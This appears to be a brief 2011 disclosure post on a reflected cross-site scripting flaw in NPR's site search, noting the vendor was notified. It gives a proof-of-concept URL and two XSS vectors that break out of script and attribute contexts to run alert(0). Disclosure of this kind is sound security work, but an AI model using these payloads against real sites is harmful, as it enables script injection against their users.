NPR

Date: Mar-01-2011
Vendor Notified: Yes
Proof of Concept:
http://www.npr.org/search/index.php?searchinput=alert(0);%3C/script%3E%22%3E%27%3E%3Cscript%3Ealert(0);%3C/script%3E

Vectors:

• alert(0);</script>">'><script>alert(0);</script>

• ';alert(0)//\';//";//\";alert(0)//--></script>">'><script>alert(0)</script>

Comments are closed.